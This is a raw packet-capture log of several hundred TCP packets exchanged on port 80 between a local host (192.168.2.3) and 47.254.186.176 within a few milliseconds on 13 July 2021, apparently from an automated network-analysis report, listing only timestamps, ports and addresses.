Jul 13, 2021 14:37:55.548316002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548331022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548366070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548378944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548558950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548580885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548599005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548603058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548624039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548645020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548654079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548671007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548692942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548698902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548717022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548738003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548739910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548763990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548784971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548804998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548813105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548825979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548846960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548854113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548868895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548868895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548899889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548921108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548933029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548940897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548962116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.548973083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.548983097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549000978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549158096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549180031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549200058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549213886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549221039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549245119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549258947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549293041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549293995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549328089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549384117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549463987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549484968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549505949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549525023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549537897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549576044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549587011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549597025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549618006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549634933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549637079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549659014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549681902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549695015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549704075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549724102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549730062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549745083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549777031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549783945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549813986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549822092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549834967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549859047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549880028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549880981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549901962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549935102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.549978018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.549999952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550020933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550192118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550215006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550235033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550255060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550270081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550282001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550328970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550348997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550367117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550383091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550407887 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550414085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550431967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550443888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550463915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550471067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550487041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550507069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550529003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550560951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550565958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550734043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550770998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550796032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550801039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550828934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550851107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550851107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550870895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550892115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550900936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550915003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550940990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550944090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.550961018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550981998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.550988913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551007032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551028013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551029921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551049948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551070929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551146984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551168919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551191092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551199913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551214933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551234961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551244020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551256895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551278114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551278114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551299095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551321030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551342964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551367044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551377058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551381111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551390886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551413059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551439047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551455021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551475048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551477909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551495075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551515102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551518917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551536083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551558971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551561117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551615953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551724911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551769018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551814079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551816940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551837921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551877975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.551938057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551960945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.551981926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552002907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552009106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552021980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552047014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552064896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552067995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552090883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552113056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552123070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552133083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552145004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552175999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552186012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552329063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552377939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552421093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552445889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552489042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552510977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552534103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552541971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552556992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552567005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552577972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552598953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552598953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552638054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552656889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552659035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552684069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552706957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552707911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552731037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552747011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552867889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552895069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552916050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552930117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552937031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552961111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.552973032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.552990913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553011894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553020954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553034067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553052902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553060055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553071976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553092003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553092957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553112984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553142071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553153992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553175926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553200006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553204060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553225994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553245068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553266048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553273916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553287983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553301096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553308010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553333044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553478003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553503036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553524971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553536892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553546906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553567886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553587914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553599119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553618908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553633928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553644896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553658009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553667068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553688049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553708076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553709030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553728104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553742886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553749084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553782940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553803921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553805113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553828955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553852081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553858995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553874016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553894043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553899050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553915024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553932905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.553936005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553956985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553977966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.553997993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554002047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554023981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554028988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554044962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554058075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554066896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554120064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554318905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554469109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554527044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554570913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554596901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554645061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554696083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554840088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554897070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.554950953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.554994106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555027962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555051088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555058956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555073023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555094004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555103064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555124998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555145025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555147886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555170059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555193901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555207968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555216074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555239916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555263042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555269957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555284977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555289984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555306911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555325985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555329084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555350065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555371046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555376053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555391073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555412054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555413961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555438042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555458069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555459023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555480003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555495024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555501938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555526972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555548906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555548906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555569887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555593967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555608988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555623055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555644989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555665970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555666924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555686951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555687904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555708885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555728912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555730104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555752039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555764914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555777073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555808067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555828094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555831909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555851936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555872917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555882931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555895090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555916071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.555916071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.555937052 CEST	80	49757	47.254.186.176	192.168.2.3
